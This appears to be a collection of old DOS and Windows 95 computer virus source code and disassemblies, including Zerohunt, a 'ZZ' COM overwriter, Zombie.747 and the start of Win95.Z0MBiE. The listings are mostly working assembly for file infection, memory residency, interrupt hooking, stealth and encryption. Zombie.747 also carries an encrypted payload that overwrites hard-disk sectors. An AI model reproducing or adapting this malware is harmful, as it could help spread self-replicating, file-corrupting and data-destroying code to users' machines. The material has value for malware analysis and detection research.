mov cx, 10h ; Convert to segment:offset
div cx ; form
mov word ptr [bp+buffer+14h], dx ; New entry point
mov word ptr [bp+buffer+16h], ax
mov word ptr [bp+buffer+0Eh], ax ; and stack
mov word ptr [bp+buffer+10h], id
pop dx ; get file length
pop ax
add ax,(heap-decrypt) ; add virus size
adc dx, 0
mov cl, 9
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 1 ; mod 512
mov word ptr [bp+buffer+4], dx ; new file size
mov word ptr [bp+buffer+2], ax
push cs ; restore ES
pop es
push word ptr [bp+buffer+14h] ; needed later
mov cx, 1ah
jmp short finishinfection
infect_com: ; ax = filesize
mov cx,3
sub ax,cx
lea si,[bp+offset buffer]
lea di,[bp+offset save3]
movsw
movsb
mov byte ptr [si-3],0e9h
mov word ptr [si-2],ax
add ax,103h
push ax ; needed later
finishinfection:
push cx ; Save # bytes to write
xor cx,cx ; Clear attributes
call attributes ; Set file attributes
mov al,2
call open
mov ah,40h ; Write to file
lea dx,[bp+buffer] ; Write from buffer
pop cx ; cx bytes
int 21h
mov ax,4202h ; Move file pointer
xor cx,cx ; to end of file
cwd ; xor dx,dx
int 21h
get_encrypt_value:
mov ah,2ch ; Get current time
int 21h ; dh=sec,dl=1/100 sec
or dx,dx ; Check if encryption value = 0
jz get_encrypt_value ; Get another if it is
mov [bp+decrypt_value],dx ; Set new encryption value
lea di,[bp+code_store]
mov ax,5355h ; push bp,push bx
stosw
lea si,[bp+decrypt] ; Copy encryption function
mov cx,startencrypt-decrypt ; Bytes to move
push si ; Save for later use
push cx
rep movsb
lea si,[bp+write] ; Copy writing function
mov cx,endwrite-write ; Bytes to move
rep movsb
pop cx
pop si
pop dx ; Entry point of virus
push di
push si
push cx
rep movsb ; Copy decryption function
mov ax,5b5dh ; pop bx,pop bp
stosw
mov al,0c3h ; retn
stosb
add dx,offset startencrypt - offset decrypt ; Calculate new
mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of
call code_store ; decryption
pop cx
pop di
pop si
rep movsb ; Restore decryption function
mov ax,5701h ; Restore creation date/time
mov cx,word ptr [bp+newDTA+16h] ; time
mov dx,word ptr [bp+newDTA+18h] ; date
int 21h
mov ah,3eh ; Close file
int 21h
mov ch,0
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
call attributes ; attributes
dec byte ptr [bp+numinfec] ; One mo infection
jnz mo_infections ; Not enough
pop ax ; remove call from stack
jmp done_infections
mo_infections: jmp find_next
open:
mov ah,3dh
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
xchg ax,bx
ret
attributes:
mov ax,4301h ; Set attributes to cx
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
ret
write:
pop bx ; Restore file handle
pop bp ; Restore relativeness
mov ah,40h ; Write to file
lea dx,[bp+decrypt] ; Concatenate virus
mov cx,(heap-decrypt) ; # bytes to write
int 21h
push bx
push bp
endwrite:
int24: ; New int 24h (error) handler
mov al,3 ; Fail call
iret ; Return control
data00 dw 2000,8,2500,8,2000,14,2500,14
;dw 2500,14,3000,4,4000,24,3500,12,4000,6
;dw 3500,12,4000,4,4500,10,5000,4
;dw 5500,15,3000,8,3500,20,3000,8,3500,50
;dw 2000,8,2500,8,2000,14,2500,14
;dw 2500,14,3000,4,4000,24,3500,12,4000,6
;dw 3500,12,4000,4,4500,10,5000,4
;dw 5500,15,3000,8,3500,20,3000,8,3500,50
;dw 2000,8,2500,8,2000,14,2500,14
;dw 2500,14,3000,4,4000,24,3500,12,4000,6
;dw 3500,12,4000,4,4500,10,5000,4
;dw 5500,15,3000,8,3500,20,3000,8,3500,50
dw 0
data_6 db 9
db 10h, 19h, 45h, 18h, 19h, 1Bh
db 01h,0D5h,0CDh,0CDh,0B8h, 04h
db 0F3h, 09h,0A9h, 04h, 9Dh
db 9
db 0AAh, 04h,0F2h, 01h,0D5h,0CDh
db 0CDh,0B8h, 19h, 1Ch, 18h, 19h
db 12h,0D5h, 1Ah, 0Ah,0CDh,0BEh
db 20h, 09h, 5Ch, 04h,0F6h, 09h
db 2Fh, 20h, 01h,0D4h, 1Ah, 0Ah
db 0CDh,0B8h, 19h, 13h, 18h, 19h
db 03h,0C9h, 1Ah, 0Dh,0CDh,0BEh
db 19h, 03h, 0Fh,0D2h,0B7h, 19h
db 04h,0D6h, 1Ah, 03h,0C4h,0B7h
db 20h,0D2h,0D2h,0C4h,0C4h,0C4h
db 0B7h, 19h, 04h, 01h,0D4h, 1Ah
db 0Eh,0CDh,0BBh, 19h, 03h, 18h
db 19h, 03h,0BAh, 19h, 12h, 07h
db 0BAh,0BAh, 19h, 04h,0BAh, 19h
db 03h,0BDh, 20h,0BAh,0BAh, 19h
db 02h,0D3h,0B7h, 19h, 13h, 01h
db 0BAh, 19h, 03h, 18h, 19h, 03h
db 0BAh, 19h, 07h, 0Bh, 1Ah, 02h
db 04h, 19h, 07h, 08h,0BAh,0B6h
db 19h, 04h,0C7h,0C4h,0B6h, 19h
db 03h,0BAh,0B6h, 19h, 03h,0BAh
db 19h, 07h, 0Bh, 1Ah, 02h, 04h
db 19h, 08h, 01h,0BAh, 19h, 03h
db 18h,0D6h,0C4h,0C4h, 20h,0BAh
db 19h, 12h, 08h,0BAh,0D3h, 19h
db 02h,0B7h, 20h,0BAh, 19h, 03h
db 0B7h, 20h,0BAh,0D3h, 19h, 02h
db 0D6h,0BDh, 19h, 13h, 01h,0BAh
db 20h,0C4h,0C4h,0B7h, 18h,0D3h
db 0C4h,0C4h,0C4h,0BDh, 19h, 12h
db 08h,0D3h, 1Ah, 03h,0C4h,0BDh
db 20h,0D3h, 1Ah, 03h,0C4h,0BDh
db 20h,0D0h, 1Ah, 03h,0C4h,0BDh
db 19h, 14h, 01h,0D3h,0C4h,0C4h
db 0C4h,0BDh, 18h, 04h, 1Ah, 04h
db 3Eh, 19h, 03h, 0Fh,0D6h, 1Ah
db 04h,0C4h,0B7h, 20h,0D6h, 1Ah
db 03h,0C4h,0B7h, 20h,0D2h,0D2h
db 0C4h,0C4h,0C4h,0B7h, 20h,0D2h
db 0D2h,0C4h,0C4h,0C4h,0B7h, 20h
db 0D6h, 1Ah, 03h,0C4h,0B7h, 20h
db 0D2h,0B7h, 19h, 04h,0D2h, 20h
db 20h,0D2h,0D2h,0C4h,0C4h,0C4h
db 0B7h, 19h, 03h, 04h, 1Ah, 04h
db 3Ch, 18h, 01h,0D6h,0C4h,0C4h
db 0C4h,0B7h, 19h, 07h, 07h,0D6h
db 0C4h,0BDh
dd 319BA20h ; Data table (indexed access)
db 0BDh, 20h,0BAh,0BDh, 19h, 02h
db 0BAh, 20h,0BAh,0BDh, 19h, 02h
db 0BAh, 20h,0BAh, 19h, 03h,0BDh
db 20h,0BAh,0BAh, 19h, 04h,0BAh
db 20h, 20h,0BAh,0BAh, 19h, 02h
db 0BAh, 19h, 03h, 01h,0D6h,0C4h
db 0C4h,0C4h,0B7h, 18h,0D3h,0C4h
db 0C4h, 20h,0BAh, 19h, 06h, 08h
db 58h, 19h, 03h,0C7h,0C4h,0B6h
db 19h, 03h,0BAh, 1Ah, 03h,0C4h
db 0BDh, 20h,0BAh, 1Ah, 03h,0C4h
db 0BDh, 20h,0C7h,0C4h,0B6h, 19h
db 03h,0BAh,0B6h, 19h, 04h,0BAh
db 20h, 20h,0BAh,0B6h, 19h, 02h
db 0BAh, 19h, 03h, 01h,0BAh, 20h
db 0C4h,0C4h,0BDh, 18h, 19h, 03h
db 0BAh, 19h, 03h, 08h,0D6h,0C4h
db 0BDh, 19h, 04h,0BAh, 19h, 03h
db 0B7h, 20h,0BAh, 19h, 05h,0BAh
db 19h, 05h,0BAh, 19h, 03h,0B7h
db 20h,0BAh,0D3h, 19h, 02h,0B7h
db 20h,0BAh, 20h, 20h,0BAh,0D3h
db 19h, 02h,0BAh, 19h, 03h, 01h
db 0BAh, 19h, 03h, 18h, 19h, 03h
db 0BAh, 19h, 03h, 08h,0D3h, 1Ah
db 04h,0C4h,0BDh, 20h,0D3h, 1Ah
db 03h,0C4h,0BDh, 20h,0BDh, 19h
db 05h,0BDh, 19h, 05h,0D3h, 1Ah
db 03h,0C4h,0BDh, 20h,0D3h, 1Ah
db 03h,0C4h,0BDh, 20h,0D0h, 20h
db 20h,0D0h, 19h, 03h,0D0h, 19h
db 03h, 01h,0BAh, 19h, 03h, 18h
db 19h, 03h,0C8h, 1Ah, 15h,0CDh
db 0B8h, 19h, 0Ch,0D5h, 1Ah, 16h
db 0CDh,0BCh, 19h, 03h, 18h, 19h
db 1Ah,0D4h,0CDh, 04h, 1Ah, 03h
db 0F7h, 09h, 2Fh, 04h,0EAh, 09h
db 5Ch, 04h, 1Ah, 03h,0F7h, 01h
db 0CDh,0BEh, 19h, 1Bh, 18h
data_1e equ 0A0h
dot_dot db '..',0
heap:
; The following code is the buffer for the write function
code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
oldint24 dd ? ; Storage for old int 24h handler
backslash db ?
origdir db 64 dup (?) ; Current directory buffer
newDTA db 43 dup (?) ; Temporary DTA
numinfec db ? ; Infections this run
buffer db 1ah dup (?) ; read buffer
endheap: ; End of virus
finish label near
end entry_point
; Yeah, the main problem is reproducing the effect in an infected file so
; thta when IT runs, IT too will display... That's the GLITCH...
;
; Also, I had stuck INT 27H in somewhere around the EXIT .EXE...
; I don't remember, but it would go resident and suck up memory, yet
; since it hooked no interuppts, it just sat there...
; Feel free to STUDY this code and distribute it feely for educational
; purposes, because in spite of the kidding...I don't "hAcK"... for lack
; of a better word...--->>pAgE<<---

View File

@ -0,0 +1,270 @@
CSEG SEGMENT
ASSUME CS:CSEG, ES:CSEG, SS:CSEG
org 100h
; Zerohunt virus
; Disassembly by PRiEST
; 4-15-93
CMC_JMP equ 0e9f5h ;This is the virus's signature
;which is located at the beginning
;of infected files, it consist of
;a CMC and a JMP
Mem_Loc equ 21ch ;offset of virus in memory
Zero_Size equ offset Zero_End-offset Zero_Start ;Size of virus
Zero_File_Size equ offset Zero_File_End-offset Zero_Start ;Size of virus in
;file
IVT_21 equ 21h*4h ;offset of Int 21h in IVT
IVT_24 equ 24h*4h ;offset of Int 24h in IVT
Mem_Size equ 413h ;offset of Memory size in BIOS area
Zerohunt: jmp Zero_Start ;Dummy code
nop
org 21ch ;set new origin
Zero_Start: call $+3 ;Push IP
pop si ;pop IP into SI
mov es,ax ;ES = segemnt zero
mov di,Mem_Loc ;Offset of memory resident code
cmp byte ptr es:[di],0e8h ;This instructions checks to see
;if the virus is already in memory
;by looking for the call at
;Zero_Start in the IVT
je Jump_File ;return control to file if in memory
mov cx,Zero_Size ;size of virus
sub si,3h ;Find offset of Zero_Start
rep movsb ;copy us to IVT
push es
pop ds ;DS = 0
mov bx,IVT_21 ;offset of Interrupt 21 in the IVT
les si,ds:[bx] ;Get seg:off of Int 21h
mov word ptr ds:[bx],offset Zero_21 ;Point Int 21h to us
mov word ptr ds:[bx+2h],ax ;point Int 21h to segment 0
mov word ptr ds:[Old_21+2h],es ;Save Int 21h
mov word ptr ds:[Old_21],si ;Save Int 21h
mov al,40h ;40h k
mov bx,ds:[Mem_Size] ;Get amount of memory in k's
sub bx,ax ;subtract 40h to get segment of mem
mul bx ;find address of free memory
mov word ptr ds:[High_Mem],ax ;Save segment address
xor ax,ax ;Zero out AX
Jump_File: push cs
push cs
pop ds ;Restore DS and ES
pop es
;Self-modifying code that restores the first 4 bytes of an infected .com
;file. The Jump_Data defines where to jump when the virus is done, this
;is because it only infects files that have a JMP (0e9h) as the first
;instruction, any other file gets ignored.
db 0c7h,6,0,1 ;mov word ptr ds:[100h],
File_Data dw 20cdh ;quit to DOS
db 0c7h,6,2,1 ;mov word ptr ds:[102h],
File_Data_2 dw 9090h ;NOPs
db 0e9h ;Jump
;This is where the infected program originally jumped to, right now it's
;set back to the beginning so that it will terminate to DOS.
Jump_Data dw 0-(offset Jump_Data_End-offset Zero_Start)
Jump_Data_End: ;used to find offset of Zero_Start
Random_Read: pushf ;Keep stack in order when IRET
push cs ;return to this segment
call Jump_21 ;Call DOS to read file
pushf
push ax
push es
push bx
push ds ;save registers
mov ah,2fh ;Get address of DTA into ES:BX
int 21h
push es
pop ds ;DTA segment in DS
cmp word ptr ds:[bx],CMC_JMP ;Is this file infected?
jne Skip_Block_Clean
call Stealth ;Hide virus
Skip_Block_Clean:pop ds
pop bx
pop es
pop ax ;Pop registers
jmp Fix_Flags_Ret ;Fix flags and return
Handle_Read: pushf ;Keep stack right
push cs ;return to this segment
call Jump_21
pushf ;Save flags
jb Fix_Flags_Ret
xchg dx,bx ;Address of data read into BX
cmp word ptr ds:[bx],CMC_JMP ;File infected?
jne Fix_Flags_DX
cmp word ptr ds:[bx+2h],ax ;is it valid (? I guess)
jnb Fix_Flags_DX
call Stealth ;Hide virus
Fix_Flags_DX: xchg dx,bx ;restore registers
Fix_Flags_Ret: popf ;POP flags
push bp
push ax ;Save registers
pushf
pop ax ;tranfer flags to ax
mov bp,sp ;get stack frame
mov ss:[bp+8h],ax ;Save flags directly into stack
pop ax
pop bp ;POP registers
iret
Stealth: push si ;Save register
mov si,bx ;Where code was read to
add si,ds:[bx+2h] ;Where virus is in program
push word ptr ds:[si+File_Data-Zero_Start] ;original bytes
pop word ptr ds:[bx] ;restore them
push word ptr ds:[si+File_Data_2-Zero_Start] ;original bytes
pop word ptr ds:[bx+2h] ;restore them too
add si,4h ;fix for jump
push ax
push cx ;save registers
mov cx,Zero_Size ;Size of virus
xor al,al ;Zero out AL
Stealth_Loop: mov byte ptr ds:[si],al ;Remove virus from file
inc si
loop Stealth_Loop
pop cx
pop ax
pop si ;Pop registers
retn
Zero_21: cmp ah,21h ;Random read?
je Random_Read
cmp ah,27h ;Random Block read?
je Random_Read
cmp ah,3fh ;Handle read?
je Handle_Read
cmp ax,4b00h ;Execute program?
je Infect
jmp Jump_21 ;Jump to original Int 21h
Infect: push es ;save registers
push ax
push bx
push dx
push ds
mov ax,3d02h ;open file for writing
int 21h
xchg ax,bx ;handle into BX
mov ah,3fh ;read from file
xor cx,cx ;Zero CX
mov ds,cx ;zero into DS
inc cx ;read one byte
mov dx,offset Buffer ;read to variable "buffer"
mov si,dx ;same into SI
pushf ;Keep stack straight after IRET
push cs ;Push CS for Far return
call Jump_21 ;Call original Interrupt 21
cmp byte ptr ds:[si],0e9h ;Is the first instruction a jump?
je File_Has_Jump
jmp Close_File ;File is not valid, close and quit
File_Has_Jump: mov ax,4200h ;Set position from start of file
dec cx ;CX now equals 0
xor dx,dx ;DX also equals 0
int 21h ;set file position to start of file
pop ds
pop dx ;POP location of file name
push dx
push ds ;PUSH them back
push bx ;Save file handle number
push cs
pop es ;Set ES to our CS
mov bx,offset High_Mem ;offset of variable High_Mem
mov ax,4b03h ;Load file
int 21h
mov ds,es:[bx] ;Get address of High memory
mov cx,Zero_File_Size ;size of virus in File
mov dx,cx ;same into DX
mov bx,ds:[1h] ;Get jump address
mov bp,bx ;I don't recall BP being saved!!!
xor al,al ;zero out AL
Search_Loop: dec bx ;decrement pointer
pop di ;Pop handle
je Close_File_DI
push di ;Save handle again
cmp byte ptr ds:[bx],al ;search for zeros
je Search_Looper
mov cx,dx ;reset counter
Search_Looper: loop Search_Loop ;Scan for size of virus
mov di,bp ;Get jump address of file
sub di,bx ;minus location of zeros
sub di,offset Jump_Data_End-offset Zero_Start ;Make jump
mov word ptr cs:[Jump_Data],di ;Save original jump address
push word ptr ds:[0] ;save original bytes
pop word ptr cs:[File_Data] ;Into our own code
push word ptr ds:[2h] ;again with bytes 3 and 4
pop word ptr cs:[File_Data_2]
mov si,Mem_Loc ;location of virus in memory
mov cx,dx ;Size of virus in file
dec cx ;Size of virus
push ds
pop es ;ES = segment of free memory
push cs
pop ds ;DS = our segment
mov di,bx ;offset of free space in file
rep movsb ;copy virus into file (I gather)
sub bx,4h ;subtract for jump to virus
mov word ptr es:[2h],bx ;Fix jump
mov word ptr es:[0],CMC_JMP ;CMC, then JMP
mov di,0cfcfh
lds si,ds:[IVT_24] ;fetch address of Int 24h
xchg di,ds:[si] ;what the hey!? Computer should
;crash if Int 24h is triggered!
pop bx ;POP handle number
mov ax,5700h ;Get date
int 21h
push cx
push dx ;save original date/time of file
push es
pop ds ;DS = segment of free memory
mov ah,40h
mov cx,bp ;size of virus
xor dx,dx
int 21h ;write to file, I guess the virus
pop dx
pop cx ;POP the date/time
mov ax,5701h ;restore date/time to file
int 21h
xchg di,bx ;dummy exchange if infection ok
Close_File_DI: xchg di,bx ;retore handle from DI for closing
Close_File: mov ah,3eh ;close file
int 21h
lds si,cs:[IVT_24] ;Get Int 24h address from IVT
cmp byte ptr ds:[si],0cfh ;Is it to us?
jne No_24_Restore ;I know, they're Shitty labels
xchg di,ds:[si] ;restore Int 24h
No_24_Restore: pop ds
pop dx
pop bx
pop ax
pop es ;Pop all registers
Jump_21: db 0eah ;jmp seg:off
Old_21 dd ? ;segment offset of Int 21h
Buffer db ?
Zero_End:
High_Mem dw ? ;Segment of availible memory
Zero_File_End:
CSEG ENDS
END Zerohunt

View File

@ -0,0 +1,85 @@
code segment
assume cs:code, ds:code, es:code, ss:nothing
org 0100h
start: db 8Bh,0DBh
mov ah,4Eh ;find a file
mov cx,0000h ;
mov dx,offset filemask ;load searchmask, .COM
loopy: int 21h
jb effect ;no files, do effect
call infect
jnz exit
mov ah,4Fh ;find next file
jmp short loopy
;keep looping around
exit: mov ax,4C00h
int 21h
effect: mov ax,0040h ;no files to infect
mov es,ax ;slant the text on the screen
mov di,004Ah
mov al,51h
stosb
int 20h ;and exit
infect: mov ax,3D02h ;open host, r/w with handle
mov dx,009Eh
int 21h
xchg ax,bx ;exchange handle to ax
mov ah,3Fh ;read from file
mov cx,0002h ;two bytes
mov dx,offset ID ;put them in ID buffer
int 21h
cmp Word Ptr ds:[016Dh],0DB8Bh
;compare with virus ID
pushf
jz close_file
cwd
mov cx,dx ;
mov ax,4200h ;reset file pointer
;to beginning of file
int 21h
mov al,00h ;
mov ah,57h ;get file date/time
int 21h ;
push cx ;store them
push dx ;
mov ah,40h ;write virus
mov cx,007Fh ;to file
mov dx,0100h ;start at beginning
int 21h ;
mov al,01h ;restore file date/time
pop dx ;from the stack
pop cx ;
mov ah,57h ;
int 21h ;
close_file:
mov ah,3Eh ;close file
int 21h ;
popf ;
ret ;exit
ID: dw 0000h
filemask: db "*.COM" ;searchmask
db 00h
db "*ZZ* v 1.0"
code ends
end start

View File

@ -0,0 +1,338 @@
Zombie
Disassembly by Darkman/29A
Zombie.747 is a 747 bytes parasitic resident COM virus. Infects files at
load and execute program, except COMMAND.COM, by appending the virus to the
infected COM file.
To compile Zombie.747 with Turbo Assembler v 4.0 type:
TASM /M ZOMBI747.ASM
TLINK /t /x ZOMBI747.OBJ
.model tiny
.code
org 100h ; Origin of Zombie.747
code_begin:
call crypt_virus
nop
nop
nop
nop
nop
virus_begin:
call delta_offset
delta_offset:
pop bp ; Load BP from stack
sub bp,03h ; BP = delta offset
jmp virus_begin_
stack_end:
stack_ db 7ah dup(?) ; Stack
stack_begin:
int21_addr dd ? ; Address of interrupt 21h
virus_seg dw ? ; Segment of virus
stack_seg dw ? ; Stack segment
stack_ptr dw ? ; Stack pointer
infect_off dw offset infect_file-offset virus_begin
infect_mark db 04h dup(?) ; infection mark
infect_count dw ? ; Infection counter
virus_offset equ word ptr $+01h ; Offset of virus
infect_code db 0e9h,?,? ; JMP imm16 (opcode 0e9h)
origin_code db 0cdh,20h,? ; Original code of infected file
code_begin_ dw 100h ; Offset of beginning of code
int21_virus proc near ; Interrupt 21h of Zombie.747
pushf ; Save flags at stack
cmp ax,4b00h ; Load and execute program?
je load_and_exe ; Equal? Jump to load_and_exe
cmp ax,4b69h ; Zombie.747 function?
je virus_functi ; Equal? Jump to virus_functi
popf ; Load flags from stack
jmp dword ptr cs:[offset int21_addr-offset virus_begin]
endp
virus_functi:
mov bx,ax ; Already resident
popf ; Load flags from stack
iret ; Interrupt return!
load_and_exe:
mov cs:[offset infect_off-offset virus_begin],offset infect_file-offset virus_begin
call setup_stack
popf ; Load flags from stack
jmp dword ptr cs:[offset int21_addr-offset virus_begin]
setup_stack proc near ; Setup stack of the virus
mov cs:[offset stack_seg-offset virus_begin],ss
mov cs:[offset stack_ptr-offset virus_begin],sp
mov ss,cs:[offset virus_seg-offset virus_begin]
mov sp,offset stack_begin-offset virus_begin
push ax bx cx dx es ds si di bp
call cs:[offset infect_off-offset virus_begin]
cmp word ptr cs:[offset infect_count-offset virus_begin],10h
jbe load_stack ; Below or equal? Jump to load_stack
call payload
load_stack:
pop bp di si ds es dx cx bx ax
mov ss,cs:[offset stack_seg-offset virus_begin]
mov sp,cs:[offset stack_ptr-offset virus_begin]
ret ; Return!
endp
payload proc near ; Payload of the virus
mov si,offset crypt_begin-offset virus_begin
mov cx,(crypt_end-crypt_begin)
decrypt_loop:
not byte ptr [si] ; Decrypt a byte
inc si ; Increase index register
loop decrypt_loop
crypt_begin:
mov ax,303h ; Write disk sector(s)
db 31h,0dbh ; XOR BX,BX
mov es,bx ; ES:BX = pointer to data buffer
mov cx,02h ; CX = sector- and cylinder number
mov dx,80h ; DX = drive- and head number
int 13h
crypt_end:
mov si,offset crypt_begin-offset virus_begin
mov cx,(crypt_end-crypt_begin)
encrypt_loop:
not byte ptr [si] ; Encrypt a byte
inc si ; Increase index register
loop encrypt_loop
ret ; Return!
endp
examine_file proc near ; Examine file
cld ; Clear direction flag
find_dot:
lodsb ; AL = byte of filename
cmp al,'.' ; Found the dot in the filename
je examine_fil_ ; Equal? Jump to examine_fil_
or al,al ; End of filename?
loopnz find_dot ; Not zero? Jump to find_dot
jz examine_exit ; Zero? Jump to examine_exit
examine_fil_:
mov ax,[si-06h] ; AX = word of filename
or ax,2020h ; Lowcase word of filename
cmp ax,'mm' ; COMMAND.COM?
je examine_exit ; Equal? Jump to examine_exit
lodsw ; AX = word of extension
or ax,2020h ; Lowcase word of extension
cmp ax,'oc' ; Correct extension?
jne examine_exit ; Not equal? Jump to examine_exit
lodsb ; AL = byte of extension
or al,20h ; Lowcase byte of extension
cmp al,'m' ; Correct extension?
jne examine_exit ; Not equal? Jump to examine_exit
clc ; Clear carry flag
ret ; Return!
examine_exit:
stc ; Set carry flag
ret ; Return!
endp
set_file_pos proc near ; Set current file position
xor cx,cx ; Zero CX
or dx,dx ; Zero DX?
jns set_file_po_ ; Positive? Jump to set_file_po_
not cx ; Invert each bit of low-order wor...
set_file_po_:
mov ah,42h ; Set current file position
int 21h
ret ; Return!
endp
infect_file proc near ; Infect COM file
mov si,dx ; SI = offset of filename
call examine_file
jnc open_file ; No error? Jump to open_file
jmp infect_exit_
open_file:
mov ax,3d02h ; Open file (read/write)
int 21h
jnc read_file ; No error? Jump to read_file
jmp infect_exit_
read_file:
mov bx,ax ; BX = file handle
mov dx,cs ; DX = code segment
mov ds,dx ; DS " " "
mov ah,3fh ; Read from file
mov cx,03h ; Read three bytes
mov dx,offset origin_code-offset virus_begin
int 21h
jnc examine_mark ; No error? Jump to examine_mark
jmp close_file
examine_mark:
mov dx,-28h ; DX = low-order word of offset fr...
mov al,02h ; Set current file position (EOF)
call set_file_pos
jc close_file ; Error? Jump to close_file
nop
nop
nop
mov ah,3fh ; Read from file
mov cx,04h ; Read four bytes
mov dx,offset infect_mark-offset virus_begin
int 21h
jc close_file ; Error? Jump to close_file
nop
nop
nop
cmp word ptr ds:[offset infect_mark-offset virus_begin],'oZ'
jne calc_offset ; Not equal? Jump to calc_offset
nop
nop
nop
cmp word ptr ds:[offset infect_mark+02h-offset virus_begin],'bm'
je close_file ; Previosly infected? Jump to clos...
nop
nop
nop
calc_offset:
xor dx,dx ; Zero DX
mov al,02h ; Set current file position (EOF)
call set_file_pos
jc close_file ; Error? Jump to close_file
nop
nop
nop
sub ax,03h ; AX = offset of virus
mov ds:[offset virus_offset-offset virus_begin],ax
mov ax,5700h ; Get file's date and time
int 21h
push cx dx ; Save registers at stack
mov ah,40h ; Write to file
mov cx,(code_end-virus_begin)
xor dx,dx ; Zero DX
int 21h
jc infect_exit ; Error? Jump to infect_exit
nop
nop
nop
cmp cx,ax ; Written all of the virus?
jne infect_exit ; Not equal? Jump to infect_exit
nop
nop
nop
mov al,00h ; Set current file position (SOF)
xor dx,dx ; Zero DX
call set_file_pos
jc infect_exit ; Error? Jump to infect_exit
nop
nop
nop
mov ah,40h ; Write to file
mov cx,03h ; Write three bytes
mov dx,offset infect_code-offset virus_begin
int 21h
jc infect_exit ; Error? Jump to infect_exit
nop
nop
nop
infect_exit:
inc word ptr cs:[offset infect_count-offset virus_begin]
mov ax,5701h ; Set file's date and time
pop dx cx ; Load registers from stack
int 21h
close_file:
mov ah,3eh ; Close file
int 21h
infect_exit_:
ret ; Return!
endp
get_psp_own proc near ; Get PSP segment of owner or spec...
mov ah,52h ; Get list of lists
int 21h
mov bx,es:[bx-02h] ; BX = segment of first memory con...
mov es,bx ; ES = " " " " "
mov bx,es:[01h] ; BX = PSP segment of owner or spe...
ret ; Return!
endp
allocate_mem proc near ; Allocate memory
push es ; Save ES at stack
mov ax,cs ; AX = segment of PSP for current ...
dec ax ; AX = segment of Memory Control B...
mov es, ax ; ES = " " " " "
mov bx,es:[03h] ; BX = size of memory block in par...
pop es ; Load ES from stack
sub bx,cx ; Subtract number of paragraphs to...
dec bx ; BX = new size in paragraphs
mov ah,4ah ; Resize memory block
int 21h
jc allocat_exit ; Error? Jump to allocat_exit
nop
nop
nop
mov ah,48h ; Allocate memory
mov bx,cx ; BX = number of paragraphs to all...
int 21h
jc allocat_exit ; Error? Jump to allocat_exit
nop
nop
nop
push ax ; Save AX at stack
dec ax ; AX = segment of Memory Control B...
mov es,ax ; ES = " " " " "
push es ; Save ES at stack
call get_psp_own
pop es ; Load ES from stack
mov es:[01h],bx ; Store PSP segment of owner or sp...
pop es ; Load ES from stack
clc ; Clear carry flag
allocat_exit:
ret ; Return!
endp
virus_begin_:
mov ax,4b69h ; Zombie.747 function
xor bx,bx ; Zero BX
int 21h
cmp bx,4b69h ; Already resident?
je virus_exit ; Equal? Jump to virus_exit
nop
nop
nop
mov cx,(data_end-virus_begin+0fh)/10h
call allocate_mem
jc virus_exit ; Error? Jump to virus_exit
nop
nop
nop
mov si,bp ; SI = delta offset
xor di,di ; Zero DI
mov cx,(code_end-virus_begin)
cld ; Clear direction flag
rep movsb ; Move virus to top of memory
mov es:[offset virus_seg-offset virus_begin],es
push es ; Save ES at stack
mov ax,3521h ; Get interrupt vector 21h
int 21h
mov dx,es ; DX = segment of interrupt 21h
pop es ; Load ES from stack
mov word ptr es:[offset int21_addr-offset virus_begin],bx
mov word ptr es:[offset int21_addr+02h-offset virus_begin],dx
mov ax,2521h ; Set interrupt vector 21h
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)
mov dx,offset int21_virus-offset virus_begin
int 21h
virus_exit:
mov ax,cs ; AX = segment of PSP for current ...
mov ds,ax ; DS = " " " " " "
mov es,ax ; ES = " " " " " "
lea si,origin_code ; SI = offset of origin_code
sub si,offset virus_begin
add si,bp ; Add delta offset to offset of co...
mov di,100h ; DI = offset of beginning of code
mov cx,03h ; Move three bytes
cld ; Clear direction flag
rep movsb ; Move the original code to beginning
lea bx,code_begin_ ; BX = offset of code_begin_
sub bx,offset virus_begin
add bx,bp ; Add delta offset to offset of co...
jmp [bx]
db 'Zombie - Danish woodoo hackers (14AUG91)'
code_end:
data_end:
crypt_virus proc ; Encrypt payload of the virus
lea si,crypt_begin ; SI = offset of crypt_begin
mov cx,(crypt_end-crypt_begin)
crypt_loop:
not byte ptr [si] ; Encrypt a byte
inc si ; Increase index register
loop crypt_loop
ret ; Return!
endp
end code_begin

View File

@ -0,0 +1,974 @@
;
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
; ³ Win95.Z0MBiE ³
; ³ v1.01, by Z0MBiE ³
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
;
; This is the first collaboration of the russian virus writer Z0MBiE to 29A,
; and also his first Win95 PE infector. It is an encrypted runtime PE infec-
; tor which, after having decrypted its body, locates KERNEL32.DLL and then
; looks in its export table for the address of the API functions used it the
; viral code. This virus has also the feature which consists on looking for
; files to infect in the Windows directory as well as in other units. PE in-
; fection consists on adding a new section (called .Z0MBiE) to infected exe-
; cutables and creating an entry point in it for the virus code. Last but
; not least, Win95.Z0MBiE, after having infected files in a given drive, in-
; serts a dropper called ZSetUp.EXE in the root directory. This file is ac-
; tually a dropper of the Z0MBiE.1922 virus, also included in this issue of
; 29A, in the "Viruses" section of the magazine. Its peculiarities are des-
; cribed there, together with the analysis of Igor Daniloff, same as the one
; which follows, describing the behavior of Win95.ZOMBiE.
;
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
; Win95.Zombie
;
; Igor Daniloff
; DialogueScience
;
; Win95.Zombie is a nondestructive nonresident encrypted virus which
; infects PortableExecutable EXE files. On starting an infected file,
; the virus decryptor explodes the main virus body and passes control
; to it. The main virus body determines the location of KERNEL32 Export
; Table in memory and saves in its code the address of WIN32 KERNEL API
; functions that are essential for infecting files.
;
; Then the virus determines the command line of the currently-loaded
; infected program and loads it once again through the WinExec function.
; The second virus copy then infects the system. The first virus copy
; (that started a second copy the infected program), after completing
; the WinExec procedure, returns control to the host program.
;
; To infect PE EXE files, the virus scans the Windows system folder and
; also takes peeps into all other folders in drives C:, D:, E:, and F:.
; On detecting a PE EXE file, the virus analyzes the file. If all is well,
; the file is infected. Win95.Zombie creates a new segment section .Z0MBiE
; in the PE header, sets an entry point to it, and appends a copy of the
; encrypted code at the file end which is within the limits of the region
